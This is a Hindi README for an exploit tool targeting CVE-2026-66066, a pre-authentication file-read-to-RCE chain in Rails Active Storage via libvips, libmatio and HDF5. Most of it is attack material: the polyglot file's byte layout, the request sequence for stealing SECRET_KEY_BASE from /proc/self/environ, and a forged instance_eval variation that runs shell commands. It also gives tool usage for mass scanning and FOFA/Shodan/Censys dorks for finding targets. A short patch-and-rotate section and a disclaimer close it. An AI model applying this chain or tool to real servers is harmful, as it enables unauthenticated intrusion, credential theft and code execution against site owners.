
CVE-2026-66066 — KindaRails2Shell: Rails Active Storage/libvips मनमाना फ़ाइल पढ़ना → RCE। MATLAB/HDF5 दोहरी-पहचान फ़ाइल → SECRET_KEY_BASE चोरी → जाली भिन्नता। CVSS 9.5 | Rails < 8.1.3.1
CVE-2026-66066 Ruby on Rails Active Storage में एक गंभीर-स्तर (CVSS 9.5) प्री-ऑथेंटिकेशन मनमाना फ़ाइल पठन से रिमोट कोड निष्पादन श्रृंखला है, जो Rails 7.2.0–7.2.3.1, 8.0.0–8.0.5, और 8.1.0–8.1.3 को उनके डिफ़ॉल्ट कॉन्फ़िगरेशन में प्रभावित करती है।
यह भेद्यता Rails, libvips, libmatio और HDF5 के बीच चार-परत पार्सर कन्फ्यूज़न का शोषण करती है। MATLAB 5.0 हेडर (libvips के स्निफर को संतुष्ट करने वाली) और HDF5 v7.3 कंटेनर (libmatio द्वारा डिस्पैच की गई) वाली एक क्राफ्ट की गई फ़ाइल में एक एक्सटर्नल डेटासेट होता है जो किसी मनमाने सर्वर-साइड फ़ाइल पथ की ओर इंगित करता है। जब ActiveStorage इस फ़ाइल को इमेज वैरिएंट के रूप में प्रोसेस करता है, तो लक्ष्य फ़ाइल के बाइट्स इमेज पिक्सेल बन जाते हैं — जिससे बिना ऑथेंटिकेशन के मनमाना फ़ाइल पठन संभव होता है।
एक बार SECRET_KEY_BASE को /proc/self/environ या क्रेडेंशियल फ़ाइलों से प्राप्त कर लेने के बाद, हमलावर Active Storage वेरिफायर कुंजी प्राप्त करता है और instance_eval युक्त एक हस्ताक्षरित वैरिएशन JSON बनाता है, जिससे रिमोट कोड निष्पादन प्राप्त होता है।
प्रभावित इंस्टॉल: 500K+ Rails एप्लिकेशन (Rails 7+ डिफ़ॉल्ट
variant_processor = :vips) खोजकर्ता: Ethiack Research Team + RyotaK (GMO Flatt Security) + bl0rph, जुलाई 2026 पैच: Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1 (29 जुलाई, 2026)
| Branch | Vulnerable | Fixed |
|---|---|---|
| 7.2.x | 7.2.0 – 7.2.3.1 | 7.2.3.2 |
| 8.0.x | 8.0.0 – 8.0.5 | 8.0.5.1 |
| 8.1.x | 8.1.0 – 8.1.3 | 8.1.3.1 |
Rails 6.x केवल तब प्रभावित होता है जब variant_processor = :vips मैन्युअल रूप से सक्षम किया गया हो।
खोजकर्ता: André Baptista, Bruno Mendes, Rafael Castilho (Ethiack); RyotaK (GMO Flatt Security); bl0rph संदर्भ PoC: 0xsha/KindaRails2Shell Metasploit:
exploit/multi/http/rails_activestorage_vips_rce
यह शोषण चार घटकों के बीच दो स्वतंत्र कंटेंट-टाइप असहमतियों को जोड़ता है:
Layer 1: Rails → क्लाइंट द्वारा घोषित content_type (image/png) पर भरोसा करता है
प्रत्यक्ष अपलोड ब्लॉब्स पर कोई बाइट पुनः-पहचान नहीं।
Layer 2: libvips → ऑफ़सेट 0–9 पर मैजिक बाइट्स "MATLAB 5.0" पर भरोसा करता है
पूर्ण हेडर सत्यापित किए बिना फ़ाइल को matload पर भेजता है।
Layer 3: libmatio → ऑफ़सेट 124–125 पर वर्शन वर्ड 0x0200 पर भरोसा करता है
HDF5 रीडर को डिस्पैच करता है; वर्णनात्मक टेक्स्ट बेमेल को अनदेखा करता है।
Layer 4: HDF5 → external(path, offset, length) डेटासेट संदर्भ पर भरोसा करता है
H5Dread पारदर्शी रूप से बाहरी फ़ाइल को खोलता और पढ़ता है।
परिणाम: मनमानी फ़ाइल के बाइट्स PNG पिक्सेल डेटा के रूप में लौटाए जाते हैं।
| Bytes | Purpose | Value |
|---|---|---|
| 0–9 | libvips स्निफर | MATLAB 5.0 |
| 10–123 | पैडिंग | स्पेस |
| 124–125 | libmatio डिस्पैचर | 0x0200 (HDF5 v7.3) |
| 126–127 | एंडियन मार्कर | 0x4d49 (IM) |
| 128–511 | HDF5 userblock | पैडिंग |
| 512+ | HDF5 superblock | एक्सटर्नल डेटासेट वाला कंटेनर |
"कोई भी वैध लेखक बाइट 0 पर MATLAB 5.0 और बाइट 124 पर 0x0200 दोनों नहीं लिखता।"
Blob#variable? प्रत्यक्ष अपलोड समय पर डेटाबेस कॉलम में भरे गए मान पर भरोसा करता है। किसी भी बाइट की जाँच नहीं की जाती।Vips::Image.new_from_file लोडरों को पुनरावृत्त करता है; matload का स्निफर केवल 10 बाइट्स की जाँच करता है।0x0200 वर्णनात्मक टेक्स्ट की परवाह किए बिना HDF5 बैकएंड का चयन करता है।H5Pset_external डेटासेट के कच्चे बाइट्स को किसी मनमाने बाहरी फ़ाइल में रखने की अनुमति देता है। libmatio H5Pget_external_count की जाँच किए बिना H5Dread को कॉल करता है।Transformers::Vips आधार क्लास से validate_transformation विरासत में लेता है, जो केवल combine_options को अवरुद्ध करता है। मनमानी विधि नाम Vips::Image.public_send तक पहुँच जाते हैं।1. POST /rails/active_storage/direct_uploads
blob[content_type]=image/png&blob[checksum]=<MD5_of_payload>
→ Rails क्लाइंट-घोषित प्रकार के साथ ब्लॉब सहेजता है, identified=false स्थायी रूप से
2. PUT <storage_url>
body=<MATLAB 5.0 + HDF5 external(/proc/self/environ) payload>
→ पेलोड अपलोड हुआ, ब्लॉब प्रोसेसिंग के लिए तैयार
3. ऐप पर किसी भी मौजूदा थंबनेल से variation_key प्राप्त करें
→ og:image, HTML , API प्रतिक्रियाएँ, Internet Archive
4. GET /rails/active_storage/representations/redirect/:signed_id/:variation_key/poc.png
→ ActiveStorage ब्लॉब डाउनलोड करता है, libvips को भेजता है
→ libvips "MATLAB 5.0" का पता लगाता है, matload पर भेजता है
→ libmatio 0x0200 देखता है, HDF5 कंटेनर खोलता है
→ H5Dread external(/proc/self/environ) हल करता है → फ़ाइल बाइट्स पिक्सेल बन जाते हैं
→ PNG थंबनेल हमलावर को लौटाया जाता है
5. PNG पिक्सेल डिकोड करें → पर्यावरण से SECRET_KEY_BASE प्राप्त करें
6. वेरिफायर कुंजी प्राप्त करें: PBKDF2-HMAC-SHA256(SECRET_KEY_BASE, "ActiveStorage", 1000, 64)
हस्ताक्षरित वैरिएशन बनाएं: {"instance_eval" => "system('cmd > /tmp/out')"}
representations रूट पर सबमिट करें → RCE
| File | Purpose |
|---|---|
activestorage/app/models/active_storage/blob.rb | variable? content_type कॉलम पर भरोसा करता है |
activestorage/app/models/active_storage/blob/representable.rb | Representation रूट ब्लॉब + वैरिएशन को स्वतंत्र रूप से हल करता है |
activestorage/app/models/active_storage/variation.rb | decode वैरिएशन कुंजी सत्यापित करता है; ब्लॉब का कोई क्रॉस-संदर्भ नहीं |
image_processing/lib/image_processing/transformers/vips.rb | कोई विधि allowlist नहीं — आधार क्लास व्यवहार विरासत में लेता है |
libvips/foreign/matload.c | vips__mat_ismat केवल पहले 10 बाइट्स की जाँच करता है |
git clone https://github.com/shinthink/CVE-2026-66066.git
cd CVE-2026-66066
pip install requests
# पूर्ण श्रृंखला — फ़ाइल पठन → गुप्त कुंजी पुनर्प्राप्ति → RCE
python cve_2026_66066.py -t rails-app.com
# किसी विशिष्ट फ़ाइल को पढ़ें
python cve_2026_66066.py -t rails-app.com --read /etc/passwd
# SECRET_KEY_BASE सीधे प्रदान करें (फ़ाइल पठन छोड़ें)
python cve_2026_66066.py -t rails-app.com --skb <secret> -c "id; hostname"
# बड़े पैमाने पर स्कैन
python cve_2026_66066.py -f targets.txt -o rce.txt --threads 10
-t, --target एकल लक्ष्य URL
-f, --file लक्ष्य सूची, प्रति पंक्ति एक
-c, --command निष्पादित की जाने वाली शेल कमांड (डिफ़ॉल्ट: id)
--read PATH सर्वर से किसी विशिष्ट फ़ाइल को पढ़ें
--skb SECRET RCE के लिए SECRET_KEY_BASE सीधे प्रदान करें
-o, --output परिणाम फ़ाइल में सहेजें
--threads समवर्ती वर्कर (डिफ़ॉल्ट: 20)
--timeout HTTP अनुरोध टाइमआउट सेकंड में
--debug प्रत्येक HTTP अनुरोध दिखाएं
-v, --verbose विस्तृत आउटपुट
$ python cve_2026_66066.py -t rails-app.example.com
KindaRails2Shell | CVE-2026-66066 | CVSS 9.5
Host : rails-app.example.com
Rails : YES
ActiveStorage : YES
File Read : YES
SECRET_KEY : a1b2c3d4...
RCE : YES
RCE Output:
uid=1000(rails) gid=1000(rails) groups=1000(rails)
rails-prod-01
$ python cve_2026_66066.py -t rails-app.com --read /proc/self/environ
FOFA: body="rails/active_storage" || header="X-Runtime"
Shodan: http.component:"Ruby on Rails" http.title:"Ruby on Rails"
Censys: services.http.response.headers.x_powered_by:"Phusion Passenger"
सफल शोषण से Rails प्रक्रिया उपयोगकर्ता के रूप में रिमोट कोड निष्पादन प्राप्त होता है:
SECRET_KEY_BASE निकालें → हस्ताक्षरित कुकीज़, सत्र और ActiveStorage टोकन बनाएंcredentials.yml.enc डिक्रिप्ट करें → डेटाबेस पासवर्ड, क्लाउड स्टोरेज कुंजियाँ, तृतीय-पक्ष API टोकनएप्लिकेशन पर किसी खाते की आवश्यकता नहीं है — प्रत्यक्ष अपलोड एंडपॉइंट डिफ़ॉल्ट रूप से बिना ऑथेंटिकेशन के अनुरोध स्वीकार करता है।
समाधान अविश्वसनीय libvips लोडरों को अवरुद्ध करता है:
# Active Storage initializer
Vips.block_untrusted = true
# or: VIPS_BLOCK_UNTRUSTED=1
यह matload, svgload, fitsload, niiload, radload और openslideload को अविश्वसनीय इनपुट प्रोसेस करने से रोकता है। Rails 7.2.3.2, 8.0.5.1, या 8.1.3.1 में अपग्रेड करें। libvips >= 8.13 और ruby-vips >= 2.2.1 आवश्यक है।
पैच के बाद: Rails प्रक्रिया द्वारा पठनीय सभी गुप्त कुंजियाँ घुमाएँ — SECRET_KEY_BASE, RAILS_MASTER_KEY, डेटाबेस क्रेडेंशियल्स और क्लाउड स्टोरेज कुंजियाँ।
केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए।
स्वामी से स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध उपयोग न करें। लेखक दुरुपयोग के लिए कोई दायित्व नहीं लेते।
| Resource | Link |
|---|---|
| Rails सुरक्षा सलाह | GHSA-xr9x-r78c-5hrm |
| संदर्भ PoC (0xsha) | KindaRails2Shell |
| Ethiack अनुसंधान | kindarails2shell |
| Rails फोरेंसिक्स | rails-forensics-CVE-2026-66066 |
| Metasploit मॉड्यूल | rapid7/metasploit-framework#21733 |
| CWE-94 | Code Injection |
Ethiack Research Team + RyotaK + bl0rph द्वारा खोजा गया। Ruby on Rails से संबद्ध नहीं।